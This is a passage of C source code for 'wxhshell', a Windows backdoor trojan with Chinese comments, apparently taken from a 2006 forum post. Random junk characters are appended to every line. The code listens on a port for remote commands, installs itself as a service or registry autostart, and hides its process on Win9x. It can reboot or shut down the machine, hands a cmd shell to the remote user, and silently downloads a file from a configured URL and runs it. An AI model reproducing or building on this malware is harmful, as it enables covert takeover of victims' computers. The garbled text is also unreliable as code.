    switch(cmd[0]) { 4@Bl 1b[<  
  12}!oS~_  
  // 帮助 j!IkU}*c  
  case '?': { &HqBlRo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f/sLQdK,  
    break; -E.fo._L5  
  } R vd'uIJ  
  // 安装 (:RYd6i  
  case 'i': { 3O|2Z~>3  
    if(Install()) xQNGlVipZ@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p,3}A( >  
    else 352RJC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;/!o0:m^I  
    break; 3E!3kSh|  
    } pzT`.#N:M  
  // 卸载 d}@n,3  
  case 'r': { @CKMJ^#|  
    if(Uninstall()) q( %)^C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $,nidK!"  
    else Ru$%gh>v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /'bX}H(dq  
    break; {@[#0gPH  
    } @={ qy}  
  // 显示 wxhshell 所在路径 pwA~?$B1  
  case 'p': { =TA8]7S~U  
    char svExeFile[MAX_PATH]; 7 LiyA<  
    strcpy(svExeFile,"\n\r"); :,.HJ[Vg&  
      strcat(svExeFile,ExeFile); jEL"Q?#  
        send(wsh,svExeFile,strlen(svExeFile),0); 3s#/d,+  
    break; :b,An'H  
    } n/% M9osF  
  // 重启 q<cxmo0S  
  case 'b': { >oapw5~5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <Kk?BRxi  
    if(Boot(REBOOT)) Xc<Hm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hwSxdT6  
    else { ?2K~']\S  
    closesocket(wsh); l=<},_]{  
    ExitThread(0); S)`@)sr  
    } qCm8R@  
    break; E*L5D4Kw  
    } 9T<k|b[6  
  // 关机 "71Y{WQ   
  case 'd': { 7s 0pH+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )g ?'Nz  
    if(Boot(SHUTDOWN)) ?v&2^d4C*F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -gv[u,R  
    else { %Lp#2?*  
    closesocket(wsh); PVrNS7 Rk/  
    ExitThread(0); q,=YKw)*  
    } /mK]O7O7  
    break; A $l  
    } }&^1")2t  
  // 获取shell pbG v\S F  
  case 's': { tQ)l4Y 8  
    CmdShell(wsh); >KJE *X@s  
    closesocket(wsh); A" IaFXB  
    ExitThread(0); S"@@BQ#mf  
    break; &Zo+F]3d  
  } D 75;Y;E  
  // 退出 "j=E8Dd}  
  case 'x': { e]V7 7oc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YOUX  
    CloseIt(wsh); ~oRT@E  
    break; H5be5  
    } wif1|!aL  
  // 离开 5.lg*vh  
  case 'q': { )O>M~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q!h+1fb  
    closesocket(wsh);  y)3OQ24  
    WSACleanup(); b[MKo7  
    exit(1); B8>@q!G8P  
    break; /$j,p E=  
        } z h%b<  
  } fbkAu  
  } f 2k~(@!h  
DKG; up0  
  // 提示信息 Zk5AZ R!|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6dYa07  
} iAXF;'|W  
  } 0<nW nD,z  
5[P^O6'  
  return; AH^'E  
} 6df`]s c  
o}yA{<"  
// shell模块句柄 |oR#j `  
int CmdShell(SOCKET sock) hfs QAa  
{ bUc ++M  
STARTUPINFO si; {T3wOi  
ZeroMemory(&si,sizeof(si)); ^CB@4$!   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PrF('PH7i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3lgD,_&  
PROCESS_INFORMATION ProcessInfo;  ;ih;8  
char cmdline[]="cmd"; ~$YasFEz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  9-y<= )  
  return 0; Xet} J@C  
} T^Hq 5Oy  
?]>;Wr  
// 自身启动模式 R_#k^P^  
int StartFromService(void) ,n$HTWa@0  
{ 9<5ii  
typedef struct h#u k-7  
{ Cm-dos  
  DWORD ExitStatus; h2 >a_0"  
  DWORD PebBaseAddress; 1JZhcfG  
  DWORD AffinityMask; zvT8r(<n}  
  DWORD BasePriority; $Y%,?>AL<  
  ULONG UniqueProcessId; 3H%bbFy  
  ULONG InheritedFromUniqueProcessId; S~GS:E#  
}   PROCESS_BASIC_INFORMATION; ?Xq kf>  
'N/u< `)  
PROCNTQSIP NtQueryInformationProcess; cgR8+o  
t]xR`Rr;X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UhSaqq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5w</Ga  
9dp1NjOtAc  
  HANDLE             hProcess; #YSFiy:+r_  
  PROCESS_BASIC_INFORMATION pbi; }jYVB|2  
isz-MP$:K5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {-yw@Kq  
  if(NULL == hInst ) return 0; ;Ehv1{;  
m4G))||9Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K^%ONultv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4"Mq]_D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LKst QP!I  
B8zc#0!1  
  if (!NtQueryInformationProcess) return 0; ` bZgw  
^C;ULUn3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |43Oc:Ah+  
  if(!hProcess) return 0; i \@a&tw  
qrc ir-+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V|pO";%>,  
Q=^TKsu  
  CloseHandle(hProcess); 5zH_yZ@+  
3/8<dc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y5<W"[B!  
if(hProcess==NULL) return 0; =an 0PN  
c>wn e\(5H  
HMODULE hMod; v R ! y#  
char procName[255]; 4C9k0]k2  
unsigned long cbNeeded; 6e"Lod_ L  
,m5tO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^[b DE0  
M/YS%1  
  CloseHandle(hProcess); (.kzJ\x  
HaQox.v%  
if(strstr(procName,"services")) return 1; // 以服务启动 ]i8t  
.v['INK9  
  return 0; // 注册表启动 o RK:{?Y  
} %t]{C06w+{  
"MyMByomQ  
// 主模块 iXqRX';F'}  
int StartWxhshell(LPSTR lpCmdLine) y_2B@cj  
{ ym2"D?P (  
  SOCKET wsl; Eopb##o  
BOOL val=TRUE; xn1, o MY=  
  int port=0; {X-a6OQj  
  struct sockaddr_in door; i~rb-~o  
Am#Pa,g  
  if(wscfg.ws_autoins) Install(); dHtEyF  
+_ny{i`'  
port=atoi(lpCmdLine); . $ HE  
fD%20P`.  
if(port<=0) port=wscfg.ws_port; 2j$~lI  
Kr+#)S  
  WSADATA data; )oZ2,]us!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?B<.d8i  
Myh?=:1~(c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f\H1$q\p\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4j<[3~:0 o  
  door.sin_family = AF_INET; 1e I_F8I U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @su!9]o  
  door.sin_port = htons(port); ,vuC0{C^  
j k&\{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @I?: x4  
closesocket(wsl); j)#GoU=w  
return 1; AL|3_+G  
} D{JwZL@7k2  
C4gzg  
  if(listen(wsl,2) == INVALID_SOCKET) { f0*_& rP  
closesocket(wsl); =:\5*  
return 1; SA?1*dw)  
} =D)ADZ\<r  
  Wxhshell(wsl); E|W7IgS  
  WSACleanup(); Us% _'}(/U  
Y /l~R7  
return 0; GF*uDJ Kp  
9rT"_d#  
} hd)WdGJp  
otQ G6  
// 以NT服务方式启动 9G4os!x)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xp*d:  
{ =)J<R;  
DWORD   status = 0; l/A!ofc#)  
  DWORD   specificError = 0xfffffff; 6Y9<| .  
W?n/>DML  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M*aYcIU((  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^grDP*;W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UkC'`NWF*  
  serviceStatus.dwWin32ExitCode     = 0; *T:jR  
  serviceStatus.dwServiceSpecificExitCode = 0; m",G;VN  
  serviceStatus.dwCheckPoint       = 0; N[N4!k )!$  
  serviceStatus.dwWaitHint       = 0; .p(r|5(b  
WZ UeW*#=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LVdtI  
  if (hServiceStatusHandle==0) return; nIqF:6/  
A:5P  
status = GetLastError(); 6rlvSdB  
  if (status!=NO_ERROR) ]hZk #rp}  
{ GK#D R/OM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E CPSE {  
    serviceStatus.dwCheckPoint       = 0; ,Qj\_vr@  
    serviceStatus.dwWaitHint       = 0; 8#HQ05q>  
    serviceStatus.dwWin32ExitCode     = status; 0f9U:)1z  
    serviceStatus.dwServiceSpecificExitCode = specificError; <}F(G-kV6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )M8@|~~  
    return; ,Bj]j -\Y  
  } vgi`.hk  
.I%B$eH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qos/pm$&i  
  serviceStatus.dwCheckPoint       = 0; W!1 B~NH#  
  serviceStatus.dwWaitHint       = 0; Ii>#9>!F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }d@;]cps  
} 7mL1$i6=  
aj-:JTf  
// 处理NT服务事件,比如:启动、停止 .GWN~iR(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >]2^5C;  
{ [~?6jnp  
switch(fdwControl) bG+Gg*0p  
{ IEWl I  
case SERVICE_CONTROL_STOP: LYTnMrM  
  serviceStatus.dwWin32ExitCode = 0; C#RueDa.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Pd~z%VoO  
  serviceStatus.dwCheckPoint   = 0; IG~Zxn1o  
  serviceStatus.dwWaitHint     = 0; ]PbwG  
  { v+CW([zAx#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PmT<S,}L  
  } o%K1!'  
  return; pE$*[IvQ'  
case SERVICE_CONTROL_PAUSE: y8]vl;88yY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CS0q#?  
  break; 5'_:>0}  
case SERVICE_CONTROL_CONTINUE: kqGydGh*"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u3sr"w&  
  break; M`xI N~  
case SERVICE_CONTROL_INTERROGATE: 4thPR}DH}  
  break; J~ wu*x  
}; ozA%u,\7k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FV%|*JW[;N  
} Ld=6'C8ud  
x[$ :^5V  
// 标准应用程序主函数 ]Nue1xV_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i'}"5O+  
{ ?XVox*6K&  
m3|l-[!OA"  
// 获取操作系统版本 =UxKa`  
OsIsNt=GetOsVer(); },#AlShZu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \3)U~[O>:  
8an_s%,AW  
  // 从命令行安装 DXK\3vf Ot  
  if(strpbrk(lpCmdLine,"iI")) Install(); \p)eY#A  
h{ eQ\iI  
  // 下载执行文件 2-^ ['R  
if(wscfg.ws_downexe) { w7~&Xxa/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _HkQv6fXpE  
  WinExec(wscfg.ws_filenam,SW_HIDE); F0'8n6zj  
} lT'V=,Y t  
f1U: _V^d  
if(!OsIsNt) { !0cb f&^:  
// 如果时win9x,隐藏进程并且设置为注册表启动 xww\L &y  
HideProc(); OGW0lnQ/  
StartWxhshell(lpCmdLine); u2*."W\  
} w# ;t$qz}  
else l!IN#|{(  
  if(StartFromService()) Ub[UB%(T  
  // 以服务方式启动 g5 y*-t  
  StartServiceCtrlDispatcher(DispatchTable); ^;@!\Rc  
else vQ[ Tc V  
  // 普通方式启动 E%$[*jZ  
  StartWxhshell(lpCmdLine); ictOC F  
xP 3>8Y  
return 0; SnoEi~Da  
}
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只看该作者 1 发表于: 2006-10-10
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